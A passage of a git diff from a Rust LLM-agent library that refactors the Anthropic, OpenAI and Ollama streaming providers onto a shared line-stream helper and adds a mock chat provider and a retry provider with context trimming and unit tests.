Ok(r) => r, - Err(e) => return vec![StreamEvent::Error(e.to_string())], - }; - - if !resp.status().is_success() { - let status = resp.status(); - let body = resp.text().await.unwrap_or_default(); - return vec![StreamEvent::Error(format!( - "Anthropic {}: {}", - status, body - ))]; - } + let request = AnthropicStreamRequest { + model, + max_tokens, + system, + messages: anthropic_messages, + tools: anthropic_tools, + temperature, + top_p, + stop_sequences, + stream: true, + }; - let byte_stream = resp.bytes_stream(); - let mut events = Vec::new(); - let mut stream = Box::pin(byte_stream); - let mut buffer = String::new(); - - loop { - match stream.next().await { - Some(Ok(chunk)) => { - buffer.push_str(&String::from_utf8_lossy(&chunk)); - while let Some(pos) = buffer.find("\n\n") { - let block = buffer[..pos].to_string(); - buffer = buffer[pos + 2..].to_string(); - - let mut event_type = ""; - let mut data = ""; - for line in block.lines() { - let line = line.trim(); - if let Some(ev) = line.strip_prefix("event: ") { - event_type = ev; - } else if let Some(d) = line.strip_prefix("data: ") { - data = d; - } - } + let response_future = client + .post(format!("{}/v1/messages", endpoint)) + .header("x-api-key", &api_key) + .header("anthropic-version", "2023-06-01") + .json(&request) + .send(); - if data.is_empty() { - continue; - } + struct AnthropicSseState { + event_type: String, + data: String, + } - let parsed: serde_json::Value = match serde_json::from_str(data) { - Ok(p) => p, - Err(_) => continue, - }; - - match event_type { - "content_block_delta" => { - let delta_type = parsed["delta"]["type"].as_str().unwrap_or(""); - match delta_type { - "text_delta" => { - if let Some(text) = parsed["delta"]["text"].as_str() { - if !text.is_empty() { - events - .push(StreamEvent::Token(text.to_string())); - } - } - } - "input_json_delta" => { - if let Some(json_str) = - parsed["delta"]["partial_json"].as_str() - { - if let Some(index) = parsed["index"].as_u64() { - events.push( - StreamEvent::ToolCallArgumentDelta { - index: index as usize, - delta: json_str.to_string(), - }, - ); - } - } - } - _ => {} - } - } - "content_block_start" => { - let block_type = - parsed["content_block"]["type"].as_str().unwrap_or(""); - if block_type == "tool_use" { - if let (Some(id), Some(name)) = ( - parsed["content_block"]["id"].as_str(), - parsed["content_block"]["name"].as_str(), - ) { - let index = - parsed["index"].as_u64().unwrap_or(0) as usize; - events.push(StreamEvent::ToolCallStart { - index, - id: id.to_string(), - name: name.to_string(), - }); - } + super::ndjson_stream::spawn_line_stream( + AnthropicSseState { + event_type: String::new(), + data: String::new(), + }, + response_future, + |state, line| { + if let Some(ev) = line.strip_prefix("event: ") { + state.event_type = ev.to_string(); + return Vec::new(); + } + if let Some(d) = line.strip_prefix("data: ") { + state.data = d.to_string(); + return Vec::new(); + } + if !line.is_empty() { + return Vec::new(); + } + + let event_type = std::mem::take(&mut state.event_type); + let data = std::mem::take(&mut state.data); + + if data.is_empty() { + return Vec::new(); + } + + let parsed: serde_json::Value = match serde_json::from_str(&data) { + Ok(p) => p, + Err(_) => return Vec::new(), + }; + + let mut events = Vec::new(); + + match event_type.as_str() { + "content_block_delta" => { + let delta_type = parsed["delta"]["type"].as_str().unwrap_or(""); + match delta_type { + "text_delta" => { + if let Some(text) = parsed["delta"]["text"].as_str() { + if !text.is_empty() { + events.push(StreamEvent::Token(text.to_string())); } } - "content_block_stop" => { + } + "input_json_delta" => { + if let Some(json_str) = parsed["delta"]["partial_json"].as_str() { if let Some(index) = parsed["index"].as_u64() { - let has_tool_start = events.iter().any(|e| { - matches!( - e, - StreamEvent::ToolCallStart { - index: idx, - .. - } if *idx == index as usize - ) + events.push(StreamEvent::ToolCallArgumentDelta { + index: index as usize, + delta: json_str.to_string(), }); - if has_tool_start { - events.push(StreamEvent::ToolCallEnd { - index: index as usize, - }); - } } } - "message_delta" => { - if let Some(usage) = parsed.get("usage") { - events.push(StreamEvent::Usage(Usage { - prompt_tokens: None, - completion_tokens: usage["output_tokens"].as_u64(), - total_tokens: None, - })); - } - } - "message_stop" => { - events.push(StreamEvent::Done); - return events; - } - _ => {} + } + _ => {} + } + } + "content_block_start" => { + let block_type = parsed["content_block"]["type"].as_str().unwrap_or(""); + if block_type == "tool_use" { + if let (Some(id), Some(name)) = ( + parsed["content_block"]["id"].as_str(), + parsed["content_block"]["name"].as_str(), + ) { + let index = parsed["index"].as_u64().unwrap_or(0) as usize; + events.push(StreamEvent::ToolCallStart { + index, + id: id.to_string(), + name: name.to_string(), + }); } } } - Some(Err(e)) => { - events.push(StreamEvent::Error(e.to_string())); - return events; + "content_block_stop" => { + if let Some(index) = parsed["index"].as_u64() { + events.push(StreamEvent::ToolCallEnd { + index: index as usize, + }); + } } - None => { + "message_delta" => { + if let Some(usage) = parsed.get("usage") { + events.push(StreamEvent::Usage(Usage { + prompt_tokens: None, + completion_tokens: usage["output_tokens"].as_u64(), + total_tokens: None, + })); + } + } + "message_stop" => { events.push(StreamEvent::Done); - return events; } + _ => {} } - } - }) - .flat_map(futures::stream::iter); - Box::pin(stream) + events + }, + ) } } diff --git a/forgekit_agent/src/chat/providers/mock.rs b/forgekit_agent/src/chat/providers/mock.rs new file mode 100644 index 0000000..cda75c7 --- /dev/null +++ b/forgekit_agent/src/chat/providers/mock.rs @@ -0,0 +1,178 @@ +use crate::chat::providers::ChatProvider; +use crate::chat::stream::StreamEvent; +use crate::chat::tools::types::ToolDef; +use crate::chat::types::{ChatMessage, ChatResponse, ContentBlock, LlmError, Usage}; +use crate::llm::LlmConfig; +use async_trait::async_trait; +use futures::Stream; +use parking_lot::Mutex; +use std::pin::Pin; + +enum MockResponse { + Text(String), + ToolCalls(Vec<(String, serde_json::Value)>), + Error(LlmError), +} + +pub struct MockChatProvider { + responses: Mutex>, + default_text: String, +} + +impl MockChatProvider { + pub fn from_text(text: impl Into) -> Self { + MockChatProvider { + responses: Mutex::new(Vec::new()), + default_text: text.into(), + } + } + + pub fn with_tool_call(self, name: impl Into, args: serde_json::Value) -> Self { + self.responses + .lock() + .push(MockResponse::ToolCalls(vec![(name.into(), args)])); + self + } + + pub fn with_text(self, text: impl Into) -> Self { + self.responses.lock().push(MockResponse::Text(text.into())); + self + } + + pub fn with_error(self, error: LlmError) -> Self { + self.responses.lock().push(MockResponse::Error(error)); + self + } + + fn next_response(&self) -> MockResponse { + let mut responses = self.responses.lock(); + if responses.is_empty() { + MockResponse::Text(self.default_text.clone()) + } else { + responses.remove(0) + } + } +} + +#[async_trait] +impl ChatProvider for MockChatProvider { + async fn chat( + &self, + _messages: &[ChatMessage], + _tools: &[ToolDef], + _config: &LlmConfig, + ) -> Result { + match self.next_response() { + MockResponse::Text(text) => Ok(ChatResponse { + message: ChatMessage::assistant(text), + usage: Usage::default(), + model: "mock".to_string(), + finish_reason: Some("stop".to_string()), + }), + MockResponse::ToolCalls(calls) => { + let mut call_index = 0u32; + let content: Vec = calls + .into_iter() + .map(|(name, args)| { + let id = format!("mock_call_{}", call_index); + call_index += 1; + ContentBlock::tool_call(id, name, args) + }) + .collect(); + Ok(ChatResponse { + message: ChatMessage { + role: crate::chat::types::Role::Assistant, + content, + }, + usage: Usage::default(), + model: "mock".to_string(), + finish_reason: Some("tool_calls".to_string()), + }) + } + MockResponse::Error(err) => Err(err), + } + } + + fn chat_stream( + &self, + _messages: &[ChatMessage], + _tools: &[ToolDef], + _config: &LlmConfig, + ) -> Pin + Send>> { + use futures::StreamExt; + + let resp = match self.next_response() { + MockResponse::Text(text) => Ok(ChatResponse { + message: ChatMessage::assistant(text), + usage: Usage::default(), + model: "mock".to_string(), + finish_reason: Some("stop".to_string()), + }), + MockResponse::ToolCalls(calls) => { + let mut call_index = 0u32; + let content: Vec = calls + .into_iter() + .map(|(name, args)| { + let id = format!("mock_call_{}", call_index); + call_index += 1; + ContentBlock::tool_call(id, name, args) + }) + .collect(); + Ok(ChatResponse { + message: ChatMessage { + role: crate::chat::types::Role::Assistant, + content, + }, + usage: Usage::default(), + model: "mock".to_string(), + finish_reason: Some("tool_calls".to_string()), + }) + } + MockResponse::Error(err) => Err(err), + }; + + let stream = futures::stream::once(async move { + match resp { + Ok(resp) => { + let mut events = Vec::new(); + let mut tool_index = 0usize; + for block in &resp.message.content { + match block { + ContentBlock::Text { text } if !text.is_empty() => { + events.push(StreamEvent::Token(text.clone())); + } + ContentBlock::ToolCall { + id, + name, + arguments, + } => { + let idx = tool_index; + tool_index += 1; + events.push(StreamEvent::ToolCallStart { + index: idx, + id: id.clone(), + name: name.clone(), + }); + let args_str = arguments.to_string(); + if !args_str.is_empty() && args_str != "null" { + events.push(StreamEvent::ToolCallArgumentDelta { + index: idx, + delta: args_str, + }); + } + events.push(StreamEvent::ToolCallEnd { index: idx }); + } + _ => {} + } + } + events.push(StreamEvent::Done); + events + } + Err(e) => vec![StreamEvent::Error(e.to_string())], + } + }) + .flat_map(futures::stream::iter); + + Box::pin(stream) + } +} diff --git a/forge_agent/src/chat/providers/mod.rs b/forgekit_agent/src/chat/providers/mod.rs similarity index 52% rename from forge_agent/src/chat/providers/mod.rs rename to forgekit_agent/src/chat/providers/mod.rs index 0dca16a..94753b8 100644 --- a/forge_agent/src/chat/providers/mod.rs +++ b/forgekit_agent/src/chat/providers/mod.rs @@ -1,10 +1,16 @@ pub mod adapter; pub mod mock; +#[cfg(any( + feature = "llm-ollama", + feature = "llm-openai", + feature = "llm-anthropic" +))] +pub(crate) mod ndjson_stream; pub mod retry; pub use adapter::LlmProviderAdapter; pub use mock::MockChatProvider; -pub use retry::RetryProvider; +pub use retry::{ContextTrimmer, RetryProvider}; use crate::chat::stream::StreamEvent; use crate::chat::tools::types::ToolDef; @@ -14,6 +20,14 @@ use async_trait::async_trait; use futures::Stream; use std::pin::Pin; +/// Provider-agnostic chat completion trait. +/// +/// Implement this trait to add a new LLM backend to the agent. +/// +/// ## Stability +/// +/// This trait is part of the stable SDK contract. Breaking changes to the +/// signature will be accompanied by a major version bump. #[async_trait] pub trait ChatProvider: Send + Sync { async fn chat( @@ -35,6 +49,27 @@ pub trait ChatProvider: Send + Sync { } } +pub async fn chat_structured( + provider: &dyn ChatProvider, + messages: &[ChatMessage], + config: &LlmConfig, +) -> Result { + let response = provider.chat(messages, &[], config).await?; + let text = response.message.text().unwrap_or_default(); + let trimmed = text.trim(); + let json_str = if trimmed.starts_with("```") { + let inner = trimmed + .trim_start_matches("```") + .trim_start_matches("json") + .trim_start_matches("JSON"); + inner.trim_end_matches("```").trim() + } else { + trimmed + }; + serde_json::from_str(json_str) + .map_err(|e| LlmError::Parse(format!("structured output parse error: {e}"))) +} + #[cfg(feature = "llm-ollama")] pub mod ollama; diff --git a/forgekit_agent/src/chat/providers/ndjson_stream.rs b/forgekit_agent/src/chat/providers/ndjson_stream.rs new file mode 100644 index 0000000..6543b22 --- /dev/null +++ b/forgekit_agent/src/chat/providers/ndjson_stream.rs @@ -0,0 +1,69 @@ +use crate::chat::stream::StreamEvent; +use futures::Stream; +use std::pin::Pin; + +pub(crate) fn spawn_line_stream( + initial_state: S, + response_future: impl std::future::Future> + + Send + + 'static, + mut parse_line: impl FnMut(&mut S, &str) -> Vec + Send + 'static, +) -> Pin + Send>> { + let (tx, rx) = futures::channel::mpsc::unbounded::(); + + tokio::spawn(async move { + let resp = match response_future.await { + Ok(r) => r, + Err(e) => { + let _ = tx.unbounded_send(StreamEvent::Error(e.to_string())); + return; + } + }; + + if !resp.status().is_success() { + let status = resp.status(); + let body = resp.text().await.unwrap_or_default(); + let _ = tx.unbounded_send(StreamEvent::Error(format!("HTTP {}: {}", status, body))); + return; + } + + let mut byte_stream = resp.bytes_stream(); + let mut buffer = String::new(); + let mut state = initial_state; + + use futures::StreamExt; + + while let Some(chunk_result) = byte_stream.next().await { + match chunk_result { + Ok(chunk) => { + buffer.push_str(&String::from_utf8_lossy(&chunk)); + while let Some(pos) = buffer.find('\n') { + let line = buffer[..pos].trim_end().to_string(); + buffer = buffer[pos + 1..].to_string(); + for event in parse_line(&mut state, &line) { + if tx.unbounded_send(event).is_err() { + return; + } + } + } + } + Err(e) => { + let _ = tx.unbounded_send(StreamEvent::Error(e.to_string())); + return; + } + } + } + + if !buffer.trim().is_empty() { + for event in parse_line(&mut state, buffer.trim()) { + if tx.unbounded_send(event).is_err() { + return; + } + } + } + + let _ = tx.unbounded_send(StreamEvent::Done); + }); + + Box::pin(rx) +} diff --git a/forge_agent/src/chat/providers/ollama.rs b/forgekit_agent/src/chat/providers/ollama.rs similarity index 72% rename from forge_agent/src/chat/providers/ollama.rs rename to forgekit_agent/src/chat/providers/ollama.rs index de542c5..d0fd817 100644 --- a/forge_agent/src/chat/providers/ollama.rs +++ b/forgekit_agent/src/chat/providers/ollama.rs @@ -5,7 +5,6 @@ use crate::chat::types::{ChatMessage, ChatResponse, ContentBlock, LlmError, Role use crate::llm::LlmConfig; use async_trait::async_trait; use futures::Stream; -use futures::StreamExt; use serde::{Deserialize, Serialize}; use std::pin::Pin; @@ -135,11 +134,11 @@ struct ChatResponseRaw { #[derive(Deserialize)] struct ChatMessageRaw { - #[allow(dead_code)] - role: String, #[serde(default)] content: String, #[serde(default)] + thinking: Option, + #[serde(default)] tool_calls: Option>, } @@ -361,8 +360,14 @@ impl ChatProvider for OllamaChatProvider { let mut content_blocks: Vec = Vec::new(); - if !raw.message.content.is_empty() { - content_blocks.push(ContentBlock::text(raw.message.content)); + let text_content = if raw.message.content.is_empty() { + raw.message.thinking.unwrap_or_default() + } else { + raw.message.content + }; + + if !text_content.is_empty() { + content_blocks.push(ContentBlock::text(text_content)); } if let Some(tool_calls) = raw.message.tool_calls { @@ -415,104 +420,64 @@ impl ChatProvider for OllamaChatProvider { format = Some(serde_json::json!("json")); } - let stream = futures::stream::once(async move { - let request = ChatRequestOwned { - model, - messages: ollama_messages, - tools: ollama_tools, - stream: true, - format, - options, - }; - - let resp = match client - .post(format!("{}/api/chat", endpoint)) - .json(&request) - .send() - .await - { - Ok(r) => r, - Err(e) => return vec![StreamEvent::Error(e.to_string())], - }; + let request = ChatRequestOwned { + model, + messages: ollama_messages, + tools: ollama_tools, + stream: true, + format, + options, + }; - if !resp.status().is_success() { - let status = resp.status(); - let body = resp.text().await.unwrap_or_default(); - return vec![StreamEvent::Error(format!("Ollama {}: {}", status, body))]; - } + let response_future = client + .post(format!("{}/api/chat", endpoint)) + .json(&request) + .send(); - let byte_stream = resp.bytes_stream(); + super::ndjson_stream::spawn_line_stream((), response_future, |_, line| { + let parsed: StreamChunkRaw = match serde_json::from_str(line) { + Ok(p) => p, + Err(_) => return Vec::new(), + }; let mut events = Vec::new(); - let mut stream = Box::pin(byte_stream); - let mut buffer = String::new(); - - loop { - match stream.next().await { - Some(Ok(chunk)) => { - buffer.push_str(&String::from_utf8_lossy(&chunk)); - while let Some(pos) = buffer.find('\n') { - let line = buffer[..pos].trim().to_string(); - buffer = buffer[pos + 1..].to_string(); - if line.is_empty() { - continue; - } - let parsed: StreamChunkRaw = match serde_json::from_str(&line) { - Ok(p) => p, - Err(_) => continue, - }; - if parsed.done { - if parsed.prompt_eval_count.is_some() || parsed.eval_count.is_some() - { - events.push(StreamEvent::Usage(Usage { - prompt_tokens: parsed.prompt_eval_count, - completion_tokens: parsed.eval_count, - total_tokens: parsed - .prompt_eval_count - .zip(parsed.eval_count) - .map(|(p, c)| p + c), - })); - } - events.push(StreamEvent::Done); - return events; - } - if let Some(msg) = parsed.message { - if !msg.content.is_empty() { - events.push(StreamEvent::Token(msg.content)); - } - if let Some(tool_calls) = msg.tool_calls { - for (i, tc) in tool_calls.into_iter().enumerate() { - let id = format!("ollama_call_{i}"); - events.push(StreamEvent::ToolCallStart { - index: i, - id, - name: tc.function.name, - }); - let args_str = tc.function.arguments.to_string(); - if !args_str.is_empty() && args_str != "null" { - events.push(StreamEvent::ToolCallArgumentDelta { - index: i, - delta: args_str, - }); - } - events.push(StreamEvent::ToolCallEnd { index: i }); - } - } - } + if parsed.done { + if parsed.prompt_eval_count.is_some() || parsed.eval_count.is_some() { + events.push(StreamEvent::Usage(Usage { + prompt_tokens: parsed.prompt_eval_count, + completion_tokens: parsed.eval_count, + total_tokens: parsed + .prompt_eval_count + .zip(parsed.eval_count) + .map(|(p, c)| p + c), + })); + } + events.push(StreamEvent::Done); + return events; + } + if let Some(msg) = parsed.message { + if !msg.content.is_empty() { + events.push(StreamEvent::Token(msg.content)); + } + if let Some(tool_calls) = msg.tool_calls { + for (i, tc) in tool_calls.into_iter().enumerate() { + let id = format!("ollama_call_{i}"); + events.push(StreamEvent::ToolCallStart { + index: i, + id, + name: tc.function.name, + }); + let args_str = tc.function.arguments.to_string(); + if !args_str.is_empty() && args_str != "null" { + events.push(StreamEvent::ToolCallArgumentDelta { + index: i, + delta: args_str, + }); } - } - Some(Err(e)) => { - events.push(StreamEvent::Error(e.to_string())); - return events; - } - None => { - events.push(StreamEvent::Done); - return events; + events.push(StreamEvent::ToolCallEnd { index: i }); } } } + events }) - .flat_map(futures::stream::iter); - - Box::pin(stream) } } diff --git a/forge_agent/src/chat/providers/openai.rs b/forgekit_agent/src/chat/providers/openai.rs similarity index 67% rename from forge_agent/src/chat/providers/openai.rs rename to forgekit_agent/src/chat/providers/openai.rs index 27e620e..d94baa3 100644 --- a/forge_agent/src/chat/providers/openai.rs +++ b/forgekit_agent/src/chat/providers/openai.rs @@ -5,7 +5,6 @@ use crate::chat::types::{ChatMessage, ChatResponse, ContentBlock, LlmError, Role use crate::llm::LlmConfig; use async_trait::async_trait; use futures::Stream; -use futures::StreamExt; use serde::{Deserialize, Serialize}; use std::pin::Pin; @@ -452,143 +451,109 @@ impl ChatProvider for OpenAiChatProvider { None }; - let stream = futures::stream::once(async move { - let request = OpenAiRequestOwned { - model, - messages: openai_messages, - tools: openai_tools, - response_format, - temperature, - max_tokens, - top_p, - stop, - stream: true, - }; - - let resp = match client - .post(format!("{}/chat/completions", endpoint)) - .bearer_auth(&api_key) - .json(&request) - .send() - .await - { - Ok(r) => r, - Err(e) => return vec![StreamEvent::Error(e.to_string())], - }; - - if !resp.status().is_success() { - let status = resp.status(); - let body = resp.text().await.unwrap_or_default(); - return vec![StreamEvent::Error(format!("OpenAI {}: {}", status, body))]; - } + let request = OpenAiRequestOwned { + model, + messages: openai_messages, + tools: openai_tools, + response_format, + temperature, + max_tokens, + top_p, + stop, + stream: true, + }; - let byte_stream = resp.bytes_stream(); - let mut events = Vec::new(); - let mut stream = Box::pin(byte_stream); - let mut buffer = String::new(); - - loop { - match stream.next().await { - Some(Ok(chunk)) => { - buffer.push_str(&String::from_utf8_lossy(&chunk)); - while let Some(pos) = buffer.find("\n\n") { - let block = buffer[..pos].to_string(); - buffer = buffer[pos + 2..].to_string(); - - for line in block.lines() { - let line = line.trim(); - if !line.starts_with("data: ") { - continue; - } - let data = &line[6..]; - if data == "[DONE]" { - events.push(StreamEvent::Done); - return events; - } + let response_future = client + .post(format!("{}/chat/completions", endpoint)) + .bearer_auth(&api_key) + .json(&request) + .send(); - let parsed: OpenAiStreamChunk = match serde_json::from_str(data) { - Ok(p) => p, - Err(_) => continue, - }; - - if let Some(usage) = parsed.usage { - events.push(StreamEvent::Usage(Usage { - prompt_tokens: usage.prompt_tokens, - completion_tokens: usage.completion_tokens, - total_tokens: usage.total_tokens, - })); - } + struct OpenAiStreamState { + last_tool_index: Option, + } - for choice in parsed.choices { - if let Some(content) = &choice.delta.content { - if !content.is_empty() { - events.push(StreamEvent::Token(content.clone())); - } - } - if let Some(tool_calls) = choice.delta.tool_calls { - for tc in tool_calls { - let idx = tc.index.unwrap_or(0); - if let Some(id) = tc.id { - let name = tc - .function - .as_ref() - .and_then(|f| f.name.clone()) - .unwrap_or_default(); - events.push(StreamEvent::ToolCallStart { - index: idx, - id, - name, - }); - } - if let Some(func) = &tc.function { - if let Some(args) = &func.arguments { - if !args.is_empty() { - events.push( - StreamEvent::ToolCallArgumentDelta { - index: idx, - delta: args.clone(), - }, - ); - } - } - } - } - } - if choice.finish_reason.is_some() { - let has_active_tool = events.iter().any(|e| { - matches!( - e, - StreamEvent::ToolCallStart { .. } - | StreamEvent::ToolCallArgumentDelta { .. } - ) + super::ndjson_stream::spawn_line_stream( + OpenAiStreamState { + last_tool_index: None, + }, + response_future, + |state, line| { + let line = line.trim(); + if !line.starts_with("data: ") { + return Vec::new(); + } + let data = &line[6..]; + if data == "[DONE]" { + let mut events = Vec::new(); + if let Some(idx) = state.last_tool_index.take() { + events.push(StreamEvent::ToolCallEnd { index: idx }); + } + events.push(StreamEvent::Done); + return events; + } + + let parsed: OpenAiStreamChunk = match serde_json::from_str(data) { + Ok(p) => p, + Err(_) => return Vec::new(), + }; + + let mut events = Vec::new(); + + if let Some(usage) = parsed.usage { + events.push(StreamEvent::Usage(Usage { + prompt_tokens: usage.prompt_tokens, + completion_tokens: usage.completion_tokens, + total_tokens: usage.total_tokens, + })); + } + + for choice in parsed.choices { + if let Some(content) = &choice.delta.content { + if !content.is_empty() { + events.push(StreamEvent::Token(content.clone())); + } + } + if let Some(tool_calls) = choice.delta.tool_calls { + for tc in tool_calls { + let idx = tc.index.unwrap_or(0); + if let Some(id) = tc.id { + if let Some(prev_idx) = state.last_tool_index.take() { + events.push(StreamEvent::ToolCallEnd { index: prev_idx }); + } + let name = tc + .function + .as_ref() + .and_then(|f| f.name.clone()) + .unwrap_or_default(); + events.push(StreamEvent::ToolCallStart { + index: idx, + id, + name, + }); + state.last_tool_index = Some(idx); + } + if let Some(func) = &tc.function { + if let Some(args) = &func.arguments { + if !args.is_empty() { + events.push(StreamEvent::ToolCallArgumentDelta { + index: idx, + delta: args.clone(), }); - if has_active_tool { - if let Some(&StreamEvent::ToolCallStart { - index, .. - }) = events.iter().rev().find(|e| { - matches!(e, StreamEvent::ToolCallStart { .. }) - }) { - events.push(StreamEvent::ToolCallEnd { index }); - } - } } } } } } - Some(Err(e)) => { - events.push(StreamEvent::Error(e.to_string())); - return events; - } - None => { - events.push(StreamEvent::Done); - return events; + if choice.finish_reason.is_some() { + if let Some(idx) = state.last_tool_index.take() { + events.push(StreamEvent::ToolCallEnd { index: idx }); + } } } - } - }) - .flat_map(futures::stream::iter); - Box::pin(stream) + events + }, + ) } } diff --git a/forgekit_agent/src/chat/providers/retry.rs b/forgekit_agent/src/chat/providers/retry.rs new file mode 100644 index 0000000..d0f0ffd --- /dev/null +++ b/forgekit_agent/src/chat/providers/retry.rs @@ -0,0 +1,275 @@ +use crate::chat::providers::ChatProvider; +use crate::chat::stream::StreamEvent; +use crate::chat::tools::types::ToolDef; +use crate::chat::types::{ChatMessage, ChatResponse, LlmError}; +use crate::llm::LlmConfig; +use async_trait::async_trait; +use futures::Stream; +use std::pin::Pin; +use std::sync::Arc; +use std::time::Duration; +use tokio::time::sleep; + +pub type ContextTrimmer = Arc Vec + Send + Sync>; + +pub struct RetryProvider { + inner: Box, + max_retries: u32, + base_delay: Duration, + context_trimmer: Option, +} + +impl RetryProvider { + pub fn new(inner: Box, max_retries: u32) -> Self { + RetryProvider { + inner, + max_retries, + base_delay: Duration::from_secs(1), + context_trimmer: None, + } + } + + pub fn with_base_delay(mut self, delay: Duration) -> Self { + self.base_delay = delay; + self + } + + pub fn with_context_trimmer(mut self, trimmer: ContextTrimmer) -> Self { + self.context_trimmer = Some(trimmer); + self + } + + fn default_trim(messages: &[ChatMessage]) -> Vec { + if messages.len() <= 2 { + return messages.to_vec(); + } + let mut trimmed = messages.to_vec(); + let system_count = trimmed + .iter() + .take_while(|m| matches!(m.role, crate::chat::types::Role::System)) + .count(); + if system_count < trimmed.len() - 1 { + trimmed.remove(system_count); + } + trimmed + } +} + +#[async_trait] +impl ChatProvider for RetryProvider { + async fn chat( + &self, + messages: &[ChatMessage], + tools: &[ToolDef], + config: &LlmConfig, + ) -> Result { + let mut last_error = None; + let mut current_messages = messages.to_vec(); + + for attempt in 0..=self.max_retries { + match self.inner.chat(¤t_messages, tools, config).await { + Ok(response) => return Ok(response), + Err(LlmError::RateLimited { retry_after }) => { + if attempt >= self.max_retries { + return Err(LlmError::RateLimited { retry_after }); + } + let delay = retry_after + .map(Duration::from_secs) + .unwrap_or_else(|| self.base_delay * 2u32.saturating_pow(attempt)); + sleep(delay).await; + } + Err(LlmError::ContextLengthExceeded) => { + if attempt >= self.max_retries { + return Err(LlmError::ContextLengthExceeded); + } + let trimmed = match self.context_trimmer { + Some(ref trimmer) => trimmer(¤t_messages), + None => Self::default_trim(¤t_messages), + }; + if trimmed.len() == current_messages.len() { + return Err(LlmError::ContextLengthExceeded); + } + current_messages = trimmed; + } + Err(LlmError::Http(msg)) => { + if attempt >= self.max_retries { + return Err(LlmError::Http(msg)); + } + if msg.contains("connection") || msg.contains("timeout") { + let delay = self.base_delay * 2u32.saturating_pow(attempt); + sleep(delay).await; + } else { + return Err(LlmError::Http(msg)); + } + } + Err(e) => { + last_error = Some(e); + break; + } + } + } + + Err(last_error.unwrap_or(LlmError::Provider("retry exhausted".to_string()))) + } + + fn chat_stream( + &self, + messages: &[ChatMessage], + tools: &[ToolDef], + config: &LlmConfig, + ) -> Pin + Send>> { + self.inner.chat_stream(messages, tools, config) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::chat::providers::mock::MockChatProvider; + + #[tokio::test] + async fn retry_succeeds_after_rate_limit() { + let provider = MockChatProvider::from_text("success") + .with_error(LlmError::RateLimited { retry_after: None }); + let retry = RetryProvider::new(Box::new(provider), 2); + let config = LlmConfig::new("test"); + let messages = vec![ChatMessage::user("hi")]; + + let result = retry.chat(&messages, &[], &config).await; + assert!(result.is_ok()); + assert_eq!(result.unwrap().message.text(), Some("success")); + } + + #[tokio::test] + async fn retry_exhausted_returns_rate_limit() { + let provider = MockChatProvider::from_text("never reached") + .with_error(LlmError::RateLimited { retry_after: None }) + .with_error(LlmError::RateLimited { retry_after: None }); + let retry = + RetryProvider::new(Box::new(provider), 1).with_base_delay(Duration::from_millis(10)); + let config = LlmConfig::new("test"); + let messages = vec![ChatMessage::user("hi")]; + + let result = retry.chat(&messages, &[], &config).await; + assert!(result.is_err()); + match result.unwrap_err() { + LlmError::RateLimited { .. } => {} + other => panic!("expected RateLimited, got {other}"), + } + } + + #[tokio::test] + async fn retry_no_retry_on_parse_error() { + let provider = + MockChatProvider::from_text("ok").with_error(LlmError::Parse("bad json".to_string())); + let retry = RetryProvider::new(Box::new(provider), 3); + let config = LlmConfig::new("test"); + let messages = vec![ChatMessage::user("hi")]; + + let result = retry.chat(&messages, &[], &config).await; + assert!(result.is_err()); + match result.unwrap_err() { + LlmError::Parse(msg) => assert_eq!(msg, "bad json"), + other => panic!("expected Parse, got {other}"), + } + } + + #[tokio::test] + async fn retry_succeeds_first_try() { + let provider = MockChatProvider::from_text("immediate"); + let retry = RetryProvider::new(Box::new(provider), 3); + let config = LlmConfig::new("test"); + let messages = vec![ChatMessage::user("hi")]; + + let result = retry.chat(&messages, &[], &config).await; + assert_eq!(result.unwrap().message.text(), Some("immediate")); + } + + #[tokio::test] + async fn retry_context_length_trims_and_retries() { + let provider = + MockChatProvider::from_text("trimmed ok").with_error(LlmError::ContextLengthExceeded); + let retry = + RetryProvider::new(Box::new(provider), 2).with_base_delay(Duration::from_millis(10)); + let config = LlmConfig::new("test"); + let messages = vec![ + ChatMessage::system("you are helpful"), + ChatMessage::user("msg 1"), + ChatMessage::assistant("reply 1"), + ChatMessage::user("msg 2"), + ]; + + let result = retry.chat(&messages, &[], &config).await; + assert_eq!(result.unwrap().message.text(), Some("trimmed ok")); + } + + #[tokio::test] + async fn retry_context_length_cannot_trim_fails() { + let provider = + MockChatProvider::from_text("never").with_error(LlmError::ContextLengthExceeded); + let retry = + RetryProvider::new(Box::new(provider), 2).with_base_delay(Duration::from_millis(10)); + let config = LlmConfig::new("test"); + let messages = vec![ChatMessage::user("only message")]; + + let result = retry.chat(&messages, &[], &config).await; + match result.unwrap_err() { + LlmError::ContextLengthExceeded => {} + other => panic!("expected ContextLengthExceeded, got {other}"), + } + } + + #[tokio::test] + async fn retry_custom_context_trimmer() { + let provider = MockChatProvider::from_text("custom trimmed") + .with_error(LlmError::ContextLengthExceeded); + let trimmer: ContextTrimmer = Arc::new(|msgs| { + msgs.iter() + .filter(|m| !matches!(m.role, crate::chat::types::Role::Assistant)) + .cloned() + .collect() + }); + let retry = RetryProvider::new(Box::new(provider), 2) + .with_base_delay(Duration::from_millis(10)) + .with_context_trimmer(trimmer); + let config = LlmConfig::new("test"); + let messages = vec![ + ChatMessage::system("sys"), + ChatMessage::user("q1"), + ChatMessage::assistant("a1"), + ChatMessage::user("q2"), + ]; + + let result = retry.chat(&messages, &[], &config).await; + assert_eq!(result.unwrap().message.text(), Some("custom trimmed")); + } + + #[tokio::test] + async fn retry_connection_error_with_backoff() { + let provider = MockChatProvider::from_text("recovered") + .with_error(LlmError::Http("connection timeout".to_string())); + let retry = + RetryProvider::new(Box::new(provider), 2).with_base_delay(Duration::from_millis(10)); + let config = LlmConfig::new("test"); + let messages = vec![ChatMessage::user("hi")]; + + let result = retry.chat(&messages, &[], &config).await; + assert_eq!(result.unwrap().message.text(), Some("recovered")); + } + + #[tokio::test] + async fn retry_non_retryable_http_fails_immediately() { + let provider = MockChatProvider::from_text("never") + .with_error(LlmError::Http("400 bad request".to_string())); + let retry = + RetryProvider::new(Box::new(provider), 5).with_base_delay(Duration::from_millis(10)); + let config = LlmConfig::new("test"); + let messages = vec![ChatMessage::user("hi")]; + + let result = retry.chat(&messages, &[], &config).await; + match result.unwrap_err() { + LlmError::Http(msg) => assert!(msg.contains("400")), + other => panic!("expected Http, got {other}"), + } + } +} diff --git a/forge_agent/src/chat/providers/tests.rs b/forgekit_agent/src/chat/providers/tests.rs similarity index 89% rename from forge_agent/src/chat/providers/tests.rs rename to forgekit_agent/src/chat/providers/tests.rs index 66def52..e76376f 100644 --- a/forge_agent/src/chat/providers/tests.rs +++ b/forgekit_agent/src/chat/providers/tests.rs @@ 